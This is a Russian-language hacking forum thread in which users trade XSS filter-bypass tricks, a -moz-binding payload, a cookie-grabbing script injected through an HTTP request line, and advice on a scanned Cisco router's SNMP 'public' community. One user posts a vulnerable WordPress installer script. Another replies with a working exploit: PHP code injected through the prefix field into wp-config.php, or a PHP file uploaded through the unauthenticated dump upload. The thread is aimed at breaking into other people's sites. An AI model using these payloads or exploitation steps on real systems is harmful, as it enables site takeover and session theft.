Старый 01.10.2015, 01:59   #3461
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Цитата:
Сообщение от crlf Посмотреть сообщение
Насчёт WAF не понял
WAF - Web Application Firewall. В вашем случае понятие WAF - совокупность фильтров.

Для превращения данной недостаточной фильтрации в XSS, необходимы события (если символы > и < не удастся прокинуть). Не очень понятно, каким именно образом события вырезаются.

Попробуйте определить алгоритм фильтра и описать его, примените различные варианты кодирования. Типовые обходы:
PHP код:
oonloadnload="x"
aaa onload="x"
%100+onload="x" 
Где onload - пример события. Посмотрите таблицу возможных событий, проверьте существующие и несуществующие.

Если вас интересует только FF, не забудьте о существовании CSS свойства -moz-binding.
__________________
На правах рекламы.

Последний раз редактировалось NameSpace; 01.10.2015 в 02:02..
NameSpace вне форума   Ответить с цитированием
Старый 01.10.2015, 10:19   #3462
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Цитата:
Сообщение от NameSpace Посмотреть сообщение
WAF - Web Application Firewall. В вашем случае понятие WAF - совокупность фильтров.
Понял, мне казалось это нечто большее чем регулярка.

Цитата:
Сообщение от NameSpace Посмотреть сообщение
Не очень понятно, каким именно образом события вырезаются.
События не вырезаются, они просто не срабатывают на поле с типом hidden. Пробовал все подходящие отсюда: http://www.w3schools.com/tags/ref_eventattributes.asp. В том числе и для HTML5.

Цитата:
Сообщение от NameSpace Посмотреть сообщение
Если вас интересует только FF, не забудьте о существовании CSS свойства -moz-binding.
Можете привести свой пример? Вот этот http://help.dottoro.com/lcxlpaqh.php у меня в FF 40.0 не работает. Так же как и это:

Цитата:
<input type="hidden" name="input" value="test" style="-moz-binding:url(http://localhost/test.xml#test);">
Смотрю по логам, обращения к test.xml нет. Возможно я что-то напутал?

Последний раз редактировалось crlf; 01.10.2015 в 10:21..
crlf вне форума   Ответить с цитированием
Старый 01.10.2015, 12:13   #3463
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Цитата:
Сообщение от crlf Посмотреть сообщение
События не вырезаются, они просто не срабатывают на поле с типом hidden. Пробовал все подходящие отсюда: http://www.w3schools.com/tags/ref_eventattributes.asp. В том числе и для HTML5.
Сорри, почему-то не заметил код. Как вариант - посмотреть работу JavaScript с элементами на странице. Возможно имеются массовые обращения к ним по id или class.
Цитата:
Сообщение от crlf Посмотреть сообщение
Можете привести свой пример? Вот этот http://help.dottoro.com/lcxlpaqh.php у меня в FF 40.0 не работает.
К сожалению работает только в старых версиях FF.
__________________
На правах рекламы.
NameSpace вне форума   Ответить с цитированием
Старый 07.10.2015, 21:58   #3464
Faaax
 
Аватар для Faaax
 
Регистрация: 03.04.2012
Сообщений: 94
Репутация: 6
По умолчанию

вроде есть исполнение кода,помогите разобраться как его исполнить
Код:
<?php
$admin_old_login = 'superadmin';
$url_in = preg_replace('/^http:\/\/(.+)\/?/',"$1", trim($_POST['url']));
$url_in = rtrim($url_in, '/');
$msg = '';
if (isset($_POST['url'])) {$url_in = 'http://'.$url_in; $u = 0;} else {$url_in = 'http://site.ru'; $u = 1;}
if (isset($_POST['email'])) {$email_in = $_POST['email']; $e = 0;} else {$email_in = 'name@email.ru'; $e = 1;}
if (isset($_POST['db'])) {$db = $_POST['db']; $d = 0;} else {$db = 'database'; $d = 1;}
if (isset($_POST['db_user'])) {$db_user = $_POST['db_user']; $du = 0;} else {$db_user = 'username'; $du = 1;}
if (isset($_POST['db_pas'])) {$db_pas = $_POST['db_pas']; $dp = 0;} else {$db_pas = 'password'; $dp = 1;}
if (isset($_POST['host'])) {$host = $_POST['host']; $h = 0;} else {$host = 'localhost'; $h = 1;}
if (isset($_POST['prefix'])) {$prefix = $_POST['prefix']; $p = 0;} else {$prefix = 'eb_'; $p = 1;}
if (isset($_POST['adm_new_login'])) {$admin_new_login = $_POST['adm_new_login']; $al = 0;} else {$admin_new_login = 'superadmin'; $al = 1;}
if (isset($_POST['adm_new_password'])) {$admin_new_password = $_POST['adm_new_password']; $ap = 0;} else {$admin_new_password = 'NclCyAuw'; $ap = 1;}
if ($_GET['del'] == 1)
{
    @unlink ('updater.php');
    header('Location: index.php');
}

if (isset($_POST['Submit']))
{
    if (!isset($_GET['step']) OR $_GET['step'] == 1)
    {
        $file = file_get_contents('wp-config.php');
        if ($file == '')
        {
            $msg .= '<p style="color:red;">&mdash; Не удалось открыть файл wp-config.php. Установите права 777 на файл wp-config.php.</p>'; 
        }

        $file = preg_replace("/(define\('DB_NAME', ')(.+)('\);)/u", '${1}'.str_replace('\\','\\\\',$db).'${3}', $file);
        $file = preg_replace("/(define\('DB_USER', ')(.+)('\);)/u", '${1}'.str_replace('\\','\\\\',$db_user).'${3}', $file);
        $file = preg_replace("/(define\('DB_PASSWORD', ')(.+)('\);)/u", '${1}'.str_replace('\\','\\\\',$db_pas).'${3}', $file);
        $file = preg_replace("/(define\('DB_HOST', ')(.+)('\);)/u", '${1}'.str_replace('\\','\\\\',$host).'${3}', $file);
        $file = preg_replace("/($table_prefix  = ')(.+)(';)/u", '${1}'.str_replace('\\','\\\\',$prefix).'${3}', $file);
    
        if (!file_put_contents('wp-config.php',$file))
        {
            $msg .= '<p style="color:red;">&mdash; Не удалось перезаписать файл wp-config.php. Установите права 777 на файл wp-config.php.</p>'; 
        }
        else
        {
            header('Location: updater.php?step=2');
        }
    }
    elseif ($_GET['step'] == 2)
    {
        $uploadfile = 'wp-content/uploads/'.basename($_FILES['dump_db']['name']);
        if (!move_uploaded_file($_FILES['dump_db']['tmp_name'], $uploadfile))
        {
            $msg .= '<p style="color:red;">&mdash; Не удалось загрузить файл базы данных.</p>';
        }
        else
        {
            $file_sql = file($uploadfile); //var_dump($file_sql);
            require_once 'wp-config.php';
            global $wpdb;       
            foreach ($file_sql as $n => $l) if (substr($l,0,2)=='--') unset($file_sql[$n]);
            $file_sql = explode(";\n",implode("\n",$file_sql));
            unset($file_sql[count($file_sql)-1]);
            foreach ($file_sql as $q) {if ($q) {$wpdb->query($q);}}
            header('Location: updater.php?step=3');
        } 
    }
    else
    {
        if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL, FILTER_FLAG_SCHEME_REQUIRED))
        {
            $msg .= '<p style="color:red;">&mdash; Неправильный формат E-mail</p>';
        }

        if ($msg == '')
        {
            require_once 'wp-config.php';
            global $wpdb;
            $admin_new_password_hash = wp_hash_password($admin_new_password);
	       $wpdb->query("UPDATE eb_options SET option_value = replace(option_value, '{$url_from}', '{$url_in}') WHERE option_name = 'home' OR option_name = 'siteurl';");
	       $wpdb->query("UPDATE eb_posts SET guid = replace(guid, '{$url_from}','{$url_in}');");
	       $wpdb->query("UPDATE eb_posts SET post_content = replace(post_content, '{$url_from}', '{$url_in}');");
	       $wpdb->query("UPDATE eb_options SET option_value = '{$email_in}' where option_value like '{$email_from}';");
	       $wpdb->query("update eb_users set  user_email  = '{$email_in}', user_login  = '{$admin_new_login}', user_nicename  = '{$admin_new_login}', user_pass  = '{$admin_new_password_hash}' where  user_email like '{$email_from}';");
           $wpdb->query("update eb_usermeta set  meta_value  = '{$admin_new_login}' where  meta_value like '{$admin_old_login}';");
	   
	       /*$email_from = 's:' . strlen($email_from) . ':"' . $email_from . '"';
	       $email = 's:' . strlen($email_in) . ':"' . $email_in . '"';
	       $wpdb->query('update eb_contact_form_7 set mail = replace(mail,\'' . $email_from . '\',\'' . $email . '\') where mail like \'%' . $email_from . '%\';');
	       $wpdb->query('update eb_postmeta set meta_value = replace(meta_value,\'' . $email_from . '\',\'' . $email . '\') where meta_value like \'%' . $email_from . '%\';');*/
            $msg .= '<p style="font-weight:bold;">Инсталяция завершена успешно.<br />
			Внимание! Нажмите для <a href="updater.php?del=1">удаления инсталятора</a>.<br />
			</p>';
        }
    }
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="ru-RU" xml:lang="ru-RU">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Установка</title>
	<link rel='stylesheet' id='buttons-css'  href='wp-includes/css/buttons.min.css?ver=3.5' type='text/css' media='all' />
    <link rel='stylesheet' id='install-css'  href='wp-admin/css/install.min.css?ver=3.5' type='text/css' media='all' />    
</head>
<body class="wp-core-ui">


<h1>Добро пожаловать</h1>
<p>Добро пожаловать в установку программного обеспечения!</p>

<form id="setup" method="post" enctype="multipart/form-data" action="updater.php<?if (isset($_GET['step']) AND in_array($_GET['step'],array(1,2,3))) {echo '?step='.$_GET['step'];}?>">
    <?if (!isset($_GET['step']) OR $_GET['step'] == 1) {?>
    <h1>Подключение к базе данных</h1>
	<table class="form-table">
		<tr>
			<th scope="row"><label for="db">Имя базы данных</label></th>
			<td>
			<input name="db" type="text" id="db" size="25" value="<?php echo $db;?>"<?if ($d == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
				<p>Имя базы данных, в которую вы хотите установить продукт.</p>
			</td>
		</tr>
		<tr>
			<th scope="row"><label for="email">Имя пользователя</label></th>
			<td>
			<input name="db_user" type="text" id="db_user" size="25" value="<?php echo $db_user;?>"<?if ($du == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
				<p>Имя пользователя MySQL.</p>
			</td>
		</tr>
		<tr>
			<th scope="row"><label for="db_pas">Пароль</label></th>
			<td>
			<input name="db_pas" type="text" id="db_pas" size="25" value="<?php echo $db_pas;?>"<?if ($dp == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
				<p>Пароль пользователя MySQL.</p>
			</td>
		</tr>
		<tr>
			<th scope="row"><label for="host">Сервер базы данных</label></th>
			<td>
			<input name="host" type="text" id="host" size="25" value="<?php echo $host;?>"<?if ($h == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
				<p>Если localhost не работает, нужно узнать правильный адрес в службе поддержки хостинг-провайдера.</p>
			</td>
		</tr>
		<!--<tr>
			<th scope="row"><label for="prefix">Префикс</label></th>
			<td>
			<input name="prefix" type="text" id="prefix" size="25" value="<?php echo $prefix;?>"<?if ($p == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
				<p>Введите префикс таблиц, который используется в дампе базы данных. По-умолчанию используйте префик "eb_".</p>
			</td>
		</tr>-->                     
	</table>
    <p class="step"><input type="submit" name="Submit" value="Обновить конфиг" class="button button-large" /> <input type="button" name="next" value="Пропустить этот шаг" class="button button-large" onclick="document.location='updater.php?step=2';" /></p>
    <p>Если доступы к базе данных уже введены вручную, пропустите этот шаг</p>
    <?}
    elseif ($_GET['step'] == 2)
    {
    ?>
    <h1>Импорт базы данных</h1>
	<table class="form-table">
		<tr>
			<th scope="row"><label for="dump_db">Дамп базы данных</label></th>
			<td>
			<input name="dump_db" type="file" id="dump_db" size="25" />
				<p>Выберете дамп базы данных с вашего компьютера для импорта.</p>
			</td>
		</tr>
	</table>
    <p class="step"><input type="submit" name="Submit" value="Импортировать базу данных" class="button button-large" /> <input type="button" name="last" value="Вернуться назад" class="button button-large" onclick="document.location='updater.php?step=1';" /> <input type="button" name="next" value="Пропустить этот шаг" class="button button-large" onclick="document.location='updater.php?step=3';" /></p>        
    <?
    }
    else 
    {?> 
    <h1>Требуется информация</h1>
	<table class="form-table">
		<tr>
			<th scope="row"><label for="user_name">URL сайта</label></th>
			<td>
			<input name="url" type="text" id="url" size="25" value="<?php echo $url_in;?>"<?if ($u == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
				<p>Укажите адрес вашего домена с http// или без. Аналогично примеру.</p>
			</td>
		</tr>
		<tr>
			<th scope="row"><label for="email">Ваш e-mail</label></th>
			<td>
			<input name="email" type="text" id="email" size="25" value="<?php echo $email_in;?>"<?if ($e == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
				<p>Укажите ваш электорнный адрес, на него будет приходить вся корреспонденция с сайта. Аналогично примеру.</p>
			</td>
		</tr>
		<tr>
			<th scope="row"><label for="adm_new_login">Логин администратора</label></th>
			<td>
			<input name="adm_new_login" type="text" id="adm_new_login" size="25" value="<?php echo $admin_new_login;?>"<?if ($al == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
				<p>Укажите логин администратора для входа в систему управления.</p>
			</td>
		</tr>
		<tr>
			<th scope="row"><label for="adm_new_password">Пароль администратора</label></th>
			<td>
			<input name="adm_new_password" type="text" id="adm_new_password" size="25" value="<?php echo $admin_new_password;?>"<?if ($ap == 1) {?> onfocus="if(this.value==this.defaultValue) this.value='';" onblur="if(this.value=='') this.value=this.defaultValue;"<?}?> />
				<p>Укажите пароль администратора для входа в систему.</p>
			</td>
		</tr>               
	</table>
    <p class="step"><input type="submit" name="Submit" value="Установить" class="button button-large" /> <input type="button" name="last" value="Вернуться назад" class="button button-large" onclick="document.location='updater.php?step=2';" /></p>
    <?}?>
	
    <?php echo $msg;?>
</form>
</body>
</html>
Faaax вне форума   Ответить с цитированием
Старый 08.10.2015, 02:27   #3465
c411k
 
Регистрация: 17.07.2010
Сообщений: 27
Репутация: 29
По умолчанию

Цитата:
Сообщение от Faaax Посмотреть сообщение
вроде есть исполнение кода,помогите разобраться как его исполнить
зачем тебе?

1. если mq off, то можно перезаписать wp-config.php
Код:
POST updater.php
Submit=1&prefix=zzz'; phpinfo();//
2. а проще залить свой файл в папку ./wp-content/uploads/phpinfo.php

updater.php?step=2
c411k вне форума   Ответить с цитированием
Старый 08.10.2015, 10:27   #3466
Faaax
 
Аватар для Faaax
 
Регистрация: 03.04.2012
Сообщений: 94
Репутация: 6
По умолчанию

За перезапись всё равно спасибо,проглядел
сразу не залить стоит чмод.
мля и конфиг не перезаписать

Последний раз редактировалось Faaax; 08.10.2015 в 12:17..
Faaax вне форума   Ответить с цитированием
Старый 13.10.2015, 17:50   #3467
Sharingan
 
Регистрация: 04.10.2015
Сообщений: 2
Репутация: 0
По умолчанию

Мониторил список серверов X-Spiderом, нашел уязвимость в циске:
Найдена учетная запись : public
Информация : Cisco IOS Software, 2800 Software (C2800NM-SPSERVICESK9-M), Version 12.4(3f), RELEASE SOFTWARE (fc3)

Кто может подсказать что это может дать?
Sharingan вне форума   Ответить с цитированием
Старый 14.10.2015, 12:37   #3468
testo
 
Регистрация: 14.09.2010
Сообщений: 1
Репутация: 0
По умолчанию

Цитата:
Сообщение от Sharingan Посмотреть сообщение
Мониторил список серверов X-Spiderом, нашел уязвимость в циске:
Найдена учетная запись : public
Информация : Cisco IOS Software, 2800 Software (C2800NM-SPSERVICESK9-M), Version 12.4(3f), RELEASE SOFTWARE (fc3)

Кто может подсказать что это может дать?
возможно snmp community. если так, то есть возможность посмотреть стату по железке и некоторые настройки.
testo вне форума   Ответить с цитированием
Старый 21.10.2015, 03:19   #3469
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Есть XSS, выводится при отправке таких заголовков:

Код:
XSS --><script>alert(document.cookie);#<!-- / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0
Host: www.site.com
Accept: */*
Возможно ли перенаправить юзера c зарание подготовленной страницы таким образом?
crlf вне форума   Ответить с цитированием
Старый 21.10.2015, 05:11   #3470
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Если same-origin policy стоит стандартная, то вам не получится отправить на другой домен ничего, кроме GET, POST и OPTIONS запросов.
__________________
На правах рекламы.
NameSpace вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot